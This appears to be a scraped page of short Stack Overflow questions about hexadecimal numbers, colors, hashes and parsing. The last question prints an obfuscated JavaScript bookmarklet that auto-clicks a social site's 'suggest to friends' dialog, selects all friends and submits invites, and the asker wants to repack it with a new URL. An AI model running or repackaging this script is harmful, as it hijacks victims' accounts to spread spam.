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  • Raytracing (LoS) on 3D hex-like tile maps

    - by herenvardo
    Greetings, I'm working on a game project that uses a 3D variant of hexagonal tile maps. Tiles are actually cubes, not hexes, but are laid out just like hexes (because a square can be turned to a cube to extrapolate from 2D to 3D, but there is no 3D version of a hex). Rather than a verbose description, here goes an example of a 4x4x4 map: (I have highlighted an arbitrary tile (green) and its adjacent tiles (yellow) to help describe how the whole thing is supposed to work; but the adjacency functions are not the issue, that's already solved.) I have a struct type to represent tiles, and maps are represented as a 3D array of tiles (wrapped in a Map class to add some utility methods, but that's not very relevant). Each tile is supposed to represent a perfectly cubic space, and they are all exactly the same size. Also, the offset between adjacent "rows" is exactly half the size of a tile. That's enough context; my question is: Given the coordinates of two points A and B, how can I generate a list of the tiles (or, rather, their coordinates) that a straight line between A and B would cross? That would later be used for a variety of purposes, such as determining Line-of-sight, charge path legality, and so on. BTW, this may be useful: my maps use the (0,0,0) as a reference position. The 'jagging' of the map can be defined as offsetting each tile ((y+z) mod 2) * tileSize/2.0 to the right from the position it'd have on a "sane" cartesian system. For the non-jagged rows, that yields 0; for rows where (y+z) mod 2 is 1, it yields 0.5 tiles. I'm working on C#4 targeting the .Net Framework 4.0; but I don't really need specific code, just the algorithm to solve the weird geometric/mathematical problem. I have been trying for several days to solve this at no avail; and trying to draw the whole thing on paper to "visualize" it didn't help either :( . Thanks in advance for any answer

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  • Calculating the average color between two colors in PHP, using an index number as reference value

    - by Roel Krottje
    Hi all! In PHP, I am trying to calculate the average color (in hex) between to different hex colors.. However, I also need to be able to supply an index number between 0.0 and 1.0. So for example: I have $color1 = "#ffffff" and $color2 = "#0066CC" .. If I would write a function to get the average color and I would supply 0.0 as the index number, the function would need to return "#ffffff". If I would supply 1.0 as the index number, the function would need to return "#0066CC".. However if I would supply 0.2, the function would need to return an average color between the two colors, but still closer to color1 than to color2.. If I would supply index number 0.5, I would get the exact average color of both colors.. I have been trying to accomplish this for several days now but I can't seem to figure it out..! Any help would therefor be greatly appreciated!.. Thanks!

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  • System.ArgumentException: Invalid hex character at DecryptAssemblyResource

    - by Radu094
    My webapp is trowing these exceptions intermitently ever since we migrated to Mono + Apache: The error sounds more like a problem reading/processing some assembly, so I was wondering if I should be worried that there might be a problem with the hard-drive? System.ArgumentException: Invalid hex character at System.Web.Configuration.MachineKeySectionUtils.ToHexValue (Char c, Boolean high) [0x00000] in <filename unknown>:0 at System.Web.Configuration.MachineKeySectionUtils.GetBytes (System.String key, Int32 len) [0x00000] in <filename unknown>:0 at System.Web.Handlers.ScriptResourceHandler.GetBytes (System.String val) [0x00000] in <filename unknown>:0 at System.Web.Handlers.ScriptResourceHandler.DecryptAssemblyResource (System.String val, System.String& asmName, System.String& resName) [0x00000] in <filename unknown>:0 at System.Web.Handlers.ScriptResourceHandler.ProcessRequest (System.Web.HttpContext context) [0x00000] in <filename unknown>:0 at System.Web.Handlers.ScriptResourceHandler.System.Web.IHttpHandler.ProcessRequest (System.Web.HttpContext context) [0x00000] in <filename unknown>:0 at System.Web.HttpApplication+<Pipeline>c__Iterator2.MoveNext () [0x00000] in <filename unknown>:0 at System.Web.HttpApplication.Tick () [0x00000] in <filename unknown>:0 Method: Void Application_Error(System.Object, System.EventArgs) at File: at Line Number: 0 Method: Void ProcessError(System.Exception) at File: at Line Number: 0 Method: Void Tick() at File: at Line Number: 0 Method: Void Start(System.Object) at File: at Line Number: 0 Method: Void System.Web.IHttpHandler.ProcessRequest(System.Web.HttpContext) at File: at Line Number: 0 Method: Void Process(System.Web.HttpWorkerRequest) at File: at Line Number: 0 Method: Void RealProcessRequest(System.Object) at File: at Line Number: 0 Method: Void ProcessRequest(System.Web.HttpWorkerRequest) at File: at Line Number: 0 Method: Void ProcessRequest() at File: at Line Number: 0 Method: Void ProcessRequest(Mono.WebServer.MonoWorkerRequest) at File: at Line Number: 0 Method: Void ProcessRequest(Int32, System.String, System.String, System.String, System.String, System.String, Int32, System.String, Int32, System.String, System.String[], System.String[], System.Object) at File: at Line Number: 0 Method: Void InnerRun(System.Object) at File: at Line Number: 0 Method: Void Run(System.Object) at File: at Line Number: 0

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  • Ruby shortest/most efficient way to write rnd hex

    - by Whirlwin
    Hi. What I have is a method used to generate random hex values. E.g 666 or FF7 However, I don't think it is efficient at all.. What I want is to make it more efficient which perhaps will make my code shorter as well, but I don't know how. That is why I need tips or hints Here is my code so far: def random_values random_values = Array.new letters = ['A','B','C','D','E','F'] for i in 1..15 if i <= 9 random_values << i else random_values << letters[i-10] end end return random_values.shuffle[0].to_s + random_values.shuffle[0].to_s + random_values.shuffle[0].to_s end As you probably see, I do not generate random numbers. I just shuffle the array containing the values I want, meaning all the numbers in the array are unique, which is not needed, but was the easiest solution for me when I wrote the code. I am most concerned about the return line.. If only it was possible to write like: return 3.times { random_values.shuffle[0] } or return random_values.shuffle[0].to_s *3 Thanks in advance!

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  • Ruby shortest way to write rnd hex

    - by Whirlwin
    Hi. What I have is a method used to generate random hex values. E.g 666 or FF7 However, I don't think it looks simple/elegant at all.. What I want is to make it more simple which perhaps will make my code shorter as well, but I don't know how. That is why I need tips or hints Here is my code so far: def random_values random_values = Array.new letters = ['A','B','C','D','E','F'] for i in 1..15 if i <= 9 random_values << i else random_values << letters[i-10] end end return random_values.shuffle[0].to_s + random_values.shuffle[0].to_s + random_values.shuffle[0].to_s end As you probably see, I do not generate random numbers. I just shuffle the array containing the values I want, meaning all the numbers in the array are unique, which is not needed, but was the easiest solution for me when I wrote the code. I am most concerned about the return line.. If only it was possible to write like: return 3.times { random_values.shuffle[0] } or return random_values.shuffle[0].to_s *3 Thanks in advance!

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  • How do I read hex numbers into an unsigned int in C [Solved]

    - by sil3nt
    I'm wanting to read hex numbers from a text file into an unsigned integer so that I can execute Machine instructions. It's just a simulation type thing that looks inside the text file and according to the values and its corresponding instruction outputs the new values in the registers. For example, the instructions would be: 1RXY - Save register R with value in memory address XY 2RXY - Save register R with value XY BRXY - Jump to register R if xy is this and that etc.. ARXY - AND register R with value at memory address XY The text file contains something like this each in a new line. (in hexidecimal) 120F B007 290B My problem is copying each individual instruction into an unsigned integer...how do I do this? #include <stdio.h> int main(){ FILE *f; unsigned int num[80]; f=fopen("values.txt","r"); if (f==NULL){ printf("file doesnt exist?!"); } int i=0; while (fscanf(f,"%x",num[i]) != EOF){ fscanf(f,"%x",num[i]); i++; } fclose(f); printf("%x",num[0]); }

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  • Extracting ID from data packet GPS

    - by user604134
    Hi , I am trying to configure a GPS device to my systems. The GPS device send the data packet to my IP in the following format : $$?W??¬ÿÿÿÿ™U042903.000,A,2839.6408,N,07717.0905,E,0.00,,230111,,,A*7C|1.2|203|0000÷ I am able to extract the latitude, longitude and other information but I am not able to extract the Tracker ID out of the string. According to the manual the ID is in hex format.And the format of the packet is $$\r\n I dont know what to do with it, I have tried converting this to hex..but it didnt work. Any help will be greatly appreciate. Thanks

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  • Refactor: Javascript block

    - by Shpigford
    Need some help refactoring this code: $("span[rel=color_content]").ColorPicker({ onChange: function (hsb, hex, rg) { $("span[rel=color_content]").css('background-color', '#' + hex); } }); $("span[rel=color_link]").ColorPicker({ onChange: function (hsb, hex, rg) { $("span[rel=color_link]").css('background-color', '#' + hex); } }); $("span[rel=color_selected]").ColorPicker({ onChange: function (hsb, hex, rg) { $("span[rel=color_selected]").css('background-color', '#' + hex); } }); $("span[rel=color_page]").ColorPicker({ onChange: function (hsb, hex, rg) { $("span[rel=color_page]").css('background-color', '#' + hex); } }); $("span[rel=color_player]").ColorPicker({ onChange: function (hsb, hex, rg) { $("span[rel=color_player]").css('background-color', '#' + hex); } }); The only thing changing between each is the contents of the rel attribute.

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  • Combine Arbitrary number of polygons together

    - by Jakobud
    I have an arbitrary number of polygons (hexes in this case) that are arranged randomly, but they are all touching another hex. Each individual hex has 6 x,y vertices. The vertex's are known for all the hexes. Can anyone point me in the direction of an algorithm that will combine all the hexes into a single polygon? Essentially I'm just looking for a function that spits out an array of vertex locations that are ordered in a way that when drawing lines from one to the next, it forms the polygon. This is my method so far: Create array of all the vertices for all the hexes. Determine the number of times a vertex occurs in the array If vertex is in the array 3+ times, delete the vertices from the array. If vertex is in the array 2 times, delete one of them. The next step is tricky though. I'm using canvas to draw out these polygons, which essentially involves drawing a line from one vertex to the next. So the order of the vertices in the final array is important. It can't be sorted arbitrarily. Also, I'm not looking for a "convex hull" algorithm, as that would not draw the polygon correctly. Are there any functions out there that do something like this? Am I on the right track or is there a better more efficient way?

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  • Converting to Base 10

    - by incrediman
    Hi, Let's say I have a string or array which represents a number in base N, N1, where N is a power of 2. Assume the number being represented is larger than the system can handle as an actual number (an int or a double etc). How can I convert that to a decimal string? I'm open to a solution for any base N which satisfies the above criteria (binary, hex, ...).

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  • Convert 64bit Binary to Long equivalent

    - by washtik
    How can we convert the following 64 bit binary into the long equivalent; 01111101 10100011 01001111 11111111 11111111 11111111 11111111 11000000 equals 7D A3 4F FF FF FF FF C0 HEX equals 9053167636875050944 << this is the value we want in a C# variable

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  • Representing a number in a byte array (java programming)

    - by Mark Roberts
    I'm trying to represent the port number 9876 (or 0x2694 in hex) in a two byte array: class foo { public static void main (String args[]) { byte[] sendData = new byte[1]; sendData[0] = 0x26; sendData[1] = 0x94; } } But I get a warning about possible loss of precision: foo.java:5: possible loss of precision found : int required: byte sendData[1] = 0x94; ^ 1 error How can I represent the number 9876 in a two byte array without losing precision?

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  • floating point hex octal binary

    - by workinprogress
    Hi, I am working on a calculator that allows you to perform calculations past the decimal point in octal, hexadecimal, binary, and of course decimal. I am having trouble though finding a way to convert floating point decimal numbers to floating point hexadecimal, octal, binary and vice versa. The plan is to do all the math in decimal and then convert the result into the appropriate number system. Any help, ideas or examples would be appreciated. Thanks!

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  • hex value in field/row terminator for bulk insert

    - by TheObserver
    I'm running SQL Server 2005 Express. And I'm trying to do a bulk insert/import of a data file with a field/row terminator that uses a hexadecimal value 0x001. How should I represent it in a bulk insert command? I have something like: bulk insert xxx.dbo.[yyy] from 'D:\zzz\zzz.dat' with ( CODEPAGE='RAW', FIELDTERMINATOR = '=|=', ROWTERMINATOR = '=|=\001\n', KEEPNULLS ); which results in Msg 4863, Level 16, State 1, Line 7 Bulk load data conversion error (truncation) for row 1, column 3 (code).

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  • PHP Convert C# Hex Blob Hexadecimal String back to Byte Array prior to decryption

    - by PolishHurricane
    I have a piece of data that I am receiving in hexadecimal string format, example: "65E0C8DEB69EA114567954". It was made this way in C# by converting a byte array to a hexadecimal string. However, I am using PHP to read this string and need to temporarily convert this back to the byte array. If it matters, I will be decrypting this byte array, then reconverting it to unencrypted hexadecimal and or plaintext, but I will figure that out later. So the question is, how do I convert a string like the above back to an encoded byte array/ blob in PHP? Thanks!

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  • From string to hex MD5 hash and back

    - by Pablo Fernandez
    I have this pseudo-code in java: bytes[] hash = MD5.hash("example"); String hexString = toHexString(hash); //This returns something like a0394dbe93f bytes[] hexBytes = hexString.getBytes("UTF-8"); Now, hexBytes[] and hash[] are different. I know I'm doing something wrong since hash.length() is 16 and hexBytes.length() is 32. Maybe it has something to do with java using Unicode for chars (just a wild guess here). Anyways, the question would be: how to get the original hash[] array from the hexString. The whole code is here if you want to look at it (it's ~ 40 LOC) http://gist.github.com/434466 The output of that code is: 16 [-24, 32, -69, 74, -70, 90, -41, 76, 90, 111, -15, -84, -95, 102, 65, -10] 32 [101, 56, 50, 48, 98, 98, 52, 97, 98, 97, 53, 97, 100, 55, 52, 99, 53, 97, 54, 102, 102, 49, 97, 99, 97, 49, 54, 54, 52, 49, 102, 54] Thanks a lot!

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  • [NASM] How do I print out the content of a register in Hex

    - by Johnny ASM
    Hi, I'm currently getting started with NASM and wanted to know, how to output the contents of a register with NASM in Hexadecimal. I can output the content of eax with section .bss reg_buf: resb 4 . . . print_register: mov [reg_buf], eax mov eax, SYS_WRITE mov ebx, SYS_OUT mov ecx, reg_buf mov edx, 4 int 80h ret Let's say eax contains 0x44444444 then the output would be "DDDD". Apparently each pair of "44" is interpreted as 'D'. My ASCII table approves this. But how do I get my program to output the actual register content (0x44444444)?

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  • Valid signed Hex to long function

    - by Ben
    I am trying to convert a 24bit Hexadecimal string (6 characters) signed in two's complement to a long int in C. This is the function I have come up with: long int hex2li (char string[]) { char *pEnd; long int result = strtol (string, &pEnd, 16); if (strcmp (pEnd, "") == 0) { if (toupper (string[0]) == 'F') { return result - 16777216; } else { return result; } } return LONG_MIN; } Is it valid? Is there a better way of doing this?

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  • Javascript in address bar, how do I decipher?

    - by DoMx
    Hello stackoverflow! I have a javascript code that appears to be encrypted: javascript:var _0xe788=[&quot;\x69\x6E\x6E\x65\x72\x48\x54\x4D\x4C&quot;,&quot;\x61\x70\x70\x34\x39\x34\x39\x37\x35\x32\x38\x37\x38\x5F\x62\x6F\x64\x79&quot;,&quot;\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64&quot;,&quot;\x3C\x61\x20\x69\x64\x3D\x22\x73\x75\x67\x67\x65\x73\x74\x22\x20\x68\x72\x65\x66\x3D\x22\x23\x22\x20\x61\x6A\x61\x78\x69\x66\x79\x3D\x22\x2F\x61\x6A\x61\x78\x2F\x73\x6F\x63\x69\x61\x6C\x5F\x67\x72\x61\x70\x68\x2F\x69\x6E\x76\x69\x74\x65\x5F\x64\x69\x61\x6C\x6F\x67\x2E\x70\x68\x70\x3F\x63\x6C\x61\x73\x73\x3D\x46\x61\x6E\x4D\x61\x6E\x61\x67\x65\x72\x26\x61\x6D\x70\x3B\x6E\x6F\x64\x65\x5F\x69\x64\x3D\x31\x31\x36\x38\x37\x38\x34\x39\x34\x39\x39\x32\x36\x35\x37\x22\x20\x63\x6C\x61\x73\x73\x3D\x22\x20\x70\x72\x6F\x66\x69\x6C\x65\x5F\x61\x63\x74\x69\x6F\x6E\x20\x61\x63\x74\x69\x6F\x6E\x73\x70\x72\x6F\x5F\x61\x22\x20\x72\x65\x6C\x3D\x22\x64\x69\x61\x6C\x6F\x67\x2D\x70\x6F\x73\x74\x22\x3E\x53\x75\x67\x67\x65\x73\x74\x20\x74\x6F\x20\x46\x72\x69\x65\x6E\x64\x73\x3C\x2F\x61\x3E&quot;,&quot;\x73\x75\x67\x67\x65\x73\x74&quot;,&quot;\x4D\x6F\x75\x73\x65\x45\x76\x65\x6E\x74\x73&quot;,&quot;\x63\x72\x65\x61\x74\x65\x45\x76\x65\x6E\x74&quot;,&quot;\x63\x6C\x69\x63\x6B&quot;,&quot;\x69\x6E\x69\x74\x45\x76\x65\x6E\x74&quot;,&quot;\x64\x69\x73\x70\x61\x74\x63\x68\x45\x76\x65\x6E\x74&quot;,&quot;\x73\x65\x6C\x65\x63\x74\x5F\x61\x6C\x6C&quot;,&quot;\x73\x67\x6D\x5F\x69\x6E\x76\x69\x74\x65\x5F\x66\x6F\x72\x6D&quot;,&quot;\x2F\x61\x6A\x61\x78\x2F\x73\x6F\x63\x69\x61\x6C\x5F\x67\x72\x61\x70\x68\x2F\x69\x6E\x76\x69\x74\x65\x5F\x64\x69\x61\x6C\x6F\x67\x2E\x70\x68\x70&quot;,&quot;\x73\x75\x62\x6D\x69\x74\x44\x69\x61\x6C\x6F\x67&quot;,&quot;\x3C\x69\x66\x72\x61\x6D\x65\x20\x73\x72\x63\x3D\x22\x67\x6F\x6F\x67\x6C\x65\x2E\x63\x6F\x6D\x22\x20\x73\x74\x79\x6C\x65\x3D\x22\x77\x69\x64\x74\x68\x3A\x20\x38\x32\x30\x70\x78\x3B\x20\x68\x65\x69\x67\x68\x74\x3A\x20\x36\x30\x30\x70\x78\x3B\x22\x20\x66\x72\x61\x6D\x65\x62\x6F\x72\x64\x65\x72\x3D\x30\x20\x73\x63\x72\x6F\x6C\x6C\x69\x6E\x67\x3D\x22\x6E\x6F\x22\x3E\x3C\x2F\x69\x66\x72\x61\x6D\x65\x3E&quot;];var variables=[_0xe788[0],_0xe788[1],_0xe788[2],_0xe788[3],_0xe788[4],_0xe788[5],_0xe788[6],_0xe788[7],_0xe788[8],_0xe788[9],_0xe788[10],_0xe788[11],_0xe788[12],_0xe788[13]]; void (document[variables[2]](variables[1])[variables[0]]=variables[3]);var ss=document[variables[2]](variables[4]);var c=document[variables[6]](variables[5]);c[variables[8]](variables[7],true,true); void ss[variables[9]](c); void setTimeout(function (){fs[variables[10]]();} ,4000); void setTimeout(function (){SocialGraphManager[variables[13]](variables[11],variables[12]);} ,5000); void (document[variables[2]](variables[1])[variables[0]]=_0xe788[14]); I have seen similar instances and I have heard it may be Hex. I have been doing some google research and have found some online deciphers for Hex yet they all seem to struggle decrypting the code. I basically need to decipher this code, change some variables and repack it exactly how I found it but replacing a URL. How can I go about this? Are there any free online tools available? Many thanks.

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